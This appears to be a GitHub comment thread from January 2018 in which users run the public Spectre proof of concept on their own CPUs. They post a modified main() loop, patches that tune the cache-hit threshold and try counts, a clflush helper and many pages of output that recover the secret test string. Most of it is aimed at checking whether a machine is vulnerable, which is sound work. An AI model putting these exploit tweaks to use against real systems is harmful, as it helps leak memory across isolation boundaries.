Reading at malicious_x = FFFF915E... Success: 0x75=ÆuÆ score=2
Reading at malicious_x = FFFF915F... Success: 0x65=ÆeÆ score=2
Reading at malicious_x = FFFF9160... Success: 0x61=ÆaÆ score=2
Reading at malicious_x = FFFF9161... Success: 0x6D=ÆmÆ score=2
Reading at malicious_x = FFFF9162... Success: 0x69=ÆiÆ score=2
Reading at malicious_x = FFFF9163... Success: 0x73=ÆsÆ score=2
Reading at malicious_x = FFFF9164... Success: 0x68=ÆhÆ score=2
Reading at malicious_x = FFFF9165... Success: 0x20=Æ Æ score=2
Reading at malicious_x = FFFF9166... Success: 0x4F=ÆOÆ score=2
Reading at malicious_x = FFFF9167... Success: 0x73=ÆsÆ score=2
Reading at malicious_x = FFFF9168... Success: 0x73=ÆsÆ score=2
Reading at malicious_x = FFFF9169... Success: 0x69=ÆiÆ score=2
Reading at malicious_x = FFFF916A... Success: 0x66=ÆfÆ score=2
Reading at malicious_x = FFFF916B... Success: 0x72=ÆrÆ score=2
Reading at malicious_x = FFFF916C... Success: 0x61=ÆaÆ score=2
Reading at malicious_x = FFFF916D... Success: 0x67=ÆgÆ score=2
Reading at malicious_x = FFFF916E... Success: 0x65=ÆeÆ score=2
Reading at malicious_x = FFFF916F... Success: 0x2E=Æ.Æ score=2

AlessioCantina commented Jan 5, 2018

With @Symbian9 patches I get almost any letter incorrect on a Intel Core 2 Duo 2,66 GHz on macOS 10.11.6, I changed the main to make it search until the "Success" check passes I get a better result but not perfect.
Compiling with -march=native -std=c99 -O0 flags.
This is how I changed the main:

int main(int argc,
  const char * * argv) {
  size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
  int i, score[2], len = 40;
  uint8_t value[2];

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void * * )( & malicious_x));
    malicious_x -= (size_t) array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", & len);
  }

  printf("Reading %d bytes:\n", len);
   
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
    readMemoryByte(malicious_x++, value, score);
      while (!(score[0] >= 2 * score[1])){
    	readMemoryByte(malicious_x, value, score);
      }
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    	printf("0x%02X=’%c’ score=%d ", value[0],
      		(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }
  return (0);
}

zoobab commented Jan 5, 2018

@klugemonkey I tested successfully on an openvz container:

$ cat /proc/version 
Linux version 2.6.32-042stab124.2 (root@kbuild-rh6-x64.eng.sw.ru) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Sep 1 20:42:18 MSK 2017
$ cat /proc/cpuinfo 
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 60
model name	: Intel(R) Celeron(R) CPU G1830 @ 2.80GHz
stepping	: 3
microcode	: 25
cpu MHz		: 2594.018
cache size	: 2048 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 2
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good xtopology nonstop_tsc aperfmperf cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 movbe popcnt tsc_deadline_timer xsave rdrand lahf_lm abm ida arat pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase erms invpcid xsaveopt
bogomips	: 5188.03
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 60
model name	: Intel(R) Celeron(R) CPU G1830 @ 2.80GHz
stepping	: 3
microcode	: 25
cpu MHz		: 2594.018
cache size	: 2048 KB
physical id	: 0
siblings	: 2
core id		: 1
cpu cores	: 2
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good xtopology nonstop_tsc aperfmperf cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 movbe popcnt tsc_deadline_timer xsave rdrand lahf_lm abm ida arat pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase erms invpcid xsaveopt
bogomips	: 5188.03
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

Now I am still looking at modifying the code to split between a client and a server, each of those in different containers. Stay tuned.

For older gcc versions (and mingw), here is an _mm_clflush() implementation, just copy/paste:

static inline void _mm_clflush(volatile void __p)
{
asm volatile("clflush %0" : "+m" (
(volatile char *)__p));
}

kingsumos commented Jan 5, 2018

If anyone wants to try this in PowerPC, check this gist:
https://gist.github.com/kingsumos/1c718aa68ffd12ebb7899419cff8d34f

vladern commented Jan 5, 2018

Intel I5 7300HQ
Windows 10
gcc -std=c99 -O0 spectre.c -o spectre -march=native
image

NightUnix commented Jan 5, 2018

FX8350 Centos 7 x64
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfecc0... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecc1... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecc2... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecc3... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecc4... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecc5... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecc6... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecc7... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecc8... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecc9... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecca... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfeccb... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfeccc... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfeccd... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecce... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfeccf... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd0... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd1... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd2... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd3... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd4... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd5... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd6... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd7... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd8... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecd9... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecda... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecdb... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecdc... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecdd... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecde... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfecdf... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfece0... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfece1... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfece2... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfece3... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfece4... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfece5... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfece6... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfece7... Success: 0xFF=’�’ score=0

KarelWintersky commented Jan 5, 2018

# lscpu
...
Vendor ID:           GenuineIntel
CPU family:          6
Model:               76
Model name:          Intel(R) Celeron(R) CPU  N3150  @ 1.60GHz
Stepping:            3

Compile as gcc -march=native -O0 spectre.c -o spectre

Result:

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeb78... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfeb79... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfeb7a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb7b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb7c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfeb7d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb7e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfeb7f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeb80... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfeb81... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb82... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfeb83... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfeb84... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeb85... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfeb86... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb87... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb88... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb89... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeb8a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb8b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb8c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfeb8d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfeb8e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfeb8f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb90... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb91... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfeb92... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeb93... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb94... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfeb95... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb96... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfeb97... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb98... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb99... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeb9a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfeb9b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeb9c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb9d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfeb9e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb9f... Success: 0x2E=’.’ score=2

is my CPU absolutely vulnerable?

diimdeep commented Jan 5, 2018

If you tried reading original pdf but stuck, recommend reading https://www.raspberrypi.org/blog/why-raspberry-pi-isnt-vulnerable-to-spectre-or-meltdown/

EXL commented Jan 5, 2018

@KarelWintersky

is my CPU absolutely vulnerable?

Yes for Spectre.

@NightActivity

Try this patch for AMD FX/Ryzen:

-#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
+#define CACHE_HIT_THRESHOLD (140) /* assume cache hit if time <= threshold */

-for (tries = 999; tries > 0; tries--) {
+for (tries = 99999; tries > 0; tries--) {

Eliastik commented Jan 5, 2018

AMD FX 6300@3.5 GHz on Ubuntu 17.10 (kernel 4.13.0-21-generic)

Changes:

-#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
+#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
-      (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
+      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);

Compilation: gcc -std=c99 -O0 spectre.c -o spectre

Execution:

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfedfb... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfedff... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee00... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee01... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee02... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee03... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee04... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee05... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee06... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee07... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee08... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee09... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee0a... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee0d... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee10... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee11... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee12... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee13... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee14... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee15... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee16... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee17... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee18... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee19... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee1b... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0xFF=’?’ score=0

EDIT: With changes from the previous comment:

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfee09... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfee0d... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfee14... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfee15... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfee16... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfee19... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfee1b... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0x2E=’.’ score=2

dimhotepus commented Jan 5, 2018

As already suggested, tune up CACHE_HIT_THRESHOLD for my slightly overclocked
AMD Phenom(tm) II X4 945 @3.40Ghz / Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.51 / clang 3.5.0

And claim it is vulnerable, too.

-#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
+#define CACHE_HIT_THRESHOLD (90) /* assume cache hit if time <= threshold */
 
 /* Report best guess in value[0] and runner-up in value[1] */
 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
   static int results[256];
-  int tries, i, j, k, mix_i, junk = 0;
+  int tries, i, j, k, mix_i;
+  unsigned int junk = 0;
   volatile uint8_t * addr;

     printf("0x%02X=’%c’ score=%d ", value[0],
-           (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
+           (value[0] > 31 && value[0] < 127 ? value[0] : (uint8_t)'?'), score[0]);

People, if this code don't work - compile it with option "-m32 -march=pentium4 -O0" and change CACHE_HIT_THRESHOLD to 100 or above

I have the same question @ssstonebraker has: is there any C code like this to prove that meltdown is fixed on a patched system?

In particular, I would like to test if a grsecurity system needs patching or not. Since grsecurity is only available on 4.9.x kernels, and not available publically for later kernels, I suppose that even once KPTI will be available for 4.9.x, the grsecurity patches won't apply anymore. Then the question becomes: what is more valuable, KPTI or grsecurity?

jpmorrison commented Jan 5, 2018

@progman32 tried on a Core2 Duo with _rdtsc() and only a few characters are recovered. Intel says 2nd gen Core and newer are vulnerable.


Reading 40 bytes:
Reading at malicious_x = 0xffffe970... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffe971... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffe972... Success: 0x65=’e’ score=1
Reading at malicious_x = 0xffffe973... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe974... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffe975... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe976... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe977... Success: 0x69=’i’ score=1
Reading at malicious_x = 0xffffe978... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe979... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe97a... Success: 0x57=’W’ score=1
Reading at malicious_x = 0xffffe97b... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffe97c... Success: 0x72=’r’ score=1
Reading at malicious_x = 0xffffe97d... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe97e... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffe97f... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe980... Success: 0x61=’a’ score=1
Reading at malicious_x = 0xffffe981... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe982... Success: 0x65=’e’ score=1
Reading at malicious_x = 0xffffe983... Success: 0x20=’ ’ score=1
Reading at malicious_x = 0xffffe984... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe985... Success: 0x71=’q’ score=1
Reading at malicious_x = 0xffffe986... Success: 0x75=’u’ score=1
Reading at malicious_x = 0xffffe987... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe988... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe989... Success: 0x6D=’m’ score=1
Reading at malicious_x = 0xffffe98a... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffe98b... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe98c... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffe98d... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe98e... Success: 0x4F=’O’ score=1
Reading at malicious_x = 0xffffe98f... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffe990... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffe991... Success: 0x69=’i’ score=1
Reading at malicious_x = 0xffffe992... Success: 0xFF=’I’ score=0
Reading at malicious_x = 0xffffe993... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffe994... Success: 0x61=’a’ score=1
Reading at malicious_x = 0xffffe995... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffe996... Success: 0x65=’e’ score=1
Reading at malicious_x = 0xffffe997... Success: 0xFF=’I’ score=0

Tried code on Intel i5-6600k with WSL. Here is my result:

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Unclear: 0x54=’T’ score=999 (second best: 0x01 score=817)
Reading at malicious_x = 0xffffffffffdfebb9... Unclear: 0x68=’h’ score=997 (second best: 0x01 score=784)
Reading at malicious_x = 0xffffffffffdfebba... Unclear: 0x65=’e’ score=990 (second best: 0x01 score=786)
Reading at malicious_x = 0xffffffffffdfebbb... Unclear: 0x20=’ ’ score=993 (second best: 0x01 score=778)
Reading at malicious_x = 0xffffffffffdfebbc... Unclear: 0x4D=’M’ score=993 (second best: 0x01 score=799)
Reading at malicious_x = 0xffffffffffdfebbd... Unclear: 0x61=’a’ score=995 (second best: 0x01 score=791)
Reading at malicious_x = 0xffffffffffdfebbe... Unclear: 0x67=’g’ score=996 (second best: 0x01 score=781)
Reading at malicious_x = 0xffffffffffdfebbf... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=796)
Reading at malicious_x = 0xffffffffffdfebc0... Unclear: 0x63=’c’ score=993 (second best: 0x01 score=790)
Reading at malicious_x = 0xffffffffffdfebc1... Unclear: 0x20=’ ’ score=995 (second best: 0x01 score=789)
Reading at malicious_x = 0xffffffffffdfebc2... Unclear: 0x57=’W’ score=992 (second best: 0x01 score=801)
Reading at malicious_x = 0xffffffffffdfebc3... Unclear: 0x6F=’o’ score=993 (second best: 0x01 score=777)
Reading at malicious_x = 0xffffffffffdfebc4... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=784)
Reading at malicious_x = 0xffffffffffdfebc5... Unclear: 0x64=’d’ score=995 (second best: 0x01 score=820)
Reading at malicious_x = 0xffffffffffdfebc6... Unclear: 0x73=’s’ score=996 (second best: 0x01 score=791)
Reading at malicious_x = 0xffffffffffdfebc7... Unclear: 0x20=’ ’ score=991 (second best: 0x01 score=803)
Reading at malicious_x = 0xffffffffffdfebc8... Unclear: 0x61=’a’ score=994 (second best: 0x01 score=810)
Reading at malicious_x = 0xffffffffffdfebc9... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=805)
Reading at malicious_x = 0xffffffffffdfebca... Unclear: 0x65=’e’ score=989 (second best: 0x01 score=793)
Reading at malicious_x = 0xffffffffffdfebcb... Unclear: 0x20=’ ’ score=989 (second best: 0x01 score=802)
Reading at malicious_x = 0xffffffffffdfebcc... Unclear: 0x53=’S’ score=994 (second best: 0x01 score=803)
Reading at malicious_x = 0xffffffffffdfebcd... Unclear: 0x71=’q’ score=988 (second best: 0x01 score=783)
Reading at malicious_x = 0xffffffffffdfebce... Unclear: 0x75=’u’ score=995 (second best: 0x01 score=819)
Reading at malicious_x = 0xffffffffffdfebcf... Unclear: 0x65=’e’ score=995 (second best: 0x01 score=824)
Reading at malicious_x = 0xffffffffffdfebd0... Unclear: 0x61=’a’ score=993 (second best: 0x01 score=798)
Reading at malicious_x = 0xffffffffffdfebd1... Unclear: 0x6D=’m’ score=994 (second best: 0x01 score=807)
Reading at malicious_x = 0xffffffffffdfebd2... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=806)
Reading at malicious_x = 0xffffffffffdfebd3... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=781)
Reading at malicious_x = 0xffffffffffdfebd4... Unclear: 0x68=’h’ score=997 (second best: 0x01 score=783)
Reading at malicious_x = 0xffffffffffdfebd5... Unclear: 0x20=’ ’ score=998 (second best: 0x01 score=815)
Reading at malicious_x = 0xffffffffffdfebd6... Unclear: 0x4F=’O’ score=992 (second best: 0x01 score=800)
Reading at malicious_x = 0xffffffffffdfebd7... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=813)
Reading at malicious_x = 0xffffffffffdfebd8... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=798)
Reading at malicious_x = 0xffffffffffdfebd9... Unclear: 0x69=’i’ score=997 (second best: 0x01 score=774)
Reading at malicious_x = 0xffffffffffdfebda... Unclear: 0x66=’f’ score=995 (second best: 0x01 score=805)
Reading at malicious_x = 0xffffffffffdfebdb... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=800)
Reading at malicious_x = 0xffffffffffdfebdc... Unclear: 0x61=’a’ score=997 (second best: 0x01 score=788)
Reading at malicious_x = 0xffffffffffdfebdd... Unclear: 0x67=’g’ score=999 (second best: 0x01 score=807)
Reading at malicious_x = 0xffffffffffdfebde... Unclear: 0x65=’e’ score=998 (second best: 0x01 score=797)
Reading at malicious_x = 0xffffffffffdfebdf... Unclear: 0x2E=’.’ score=996 (second best: 0x01 score=809)

Symbian9 commented Jan 6, 2018

@michael-brade asked: "I have the same question @ssstonebraker has: is there any C code like this to prove that meltdown is fixed on a patched system?"

Here is simple Shell script for check it ;-)

ewheelerinc commented Jan 6, 2018

Running this under KVM I get the following, but it works fine on the hypervisor:

]# ./spectre
Reading 40 bytes:
Illegal instruction

using this CPU model:

  <cpu mode='custom' match='exact'>
    <model fallback='allow'>Nehalem</model>
    <vendor>Intel</vendor>
    <topology sockets='1' cores='4' threads='2'/>
  </cpu>
]# cat /proc/cpuinfo 
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 60
model name	: Intel(R) Core(TM) i5-4460  CPU @ 3.20GHz
stepping	: 3
microcode	: 0x1c
cpu MHz		: 3341.000
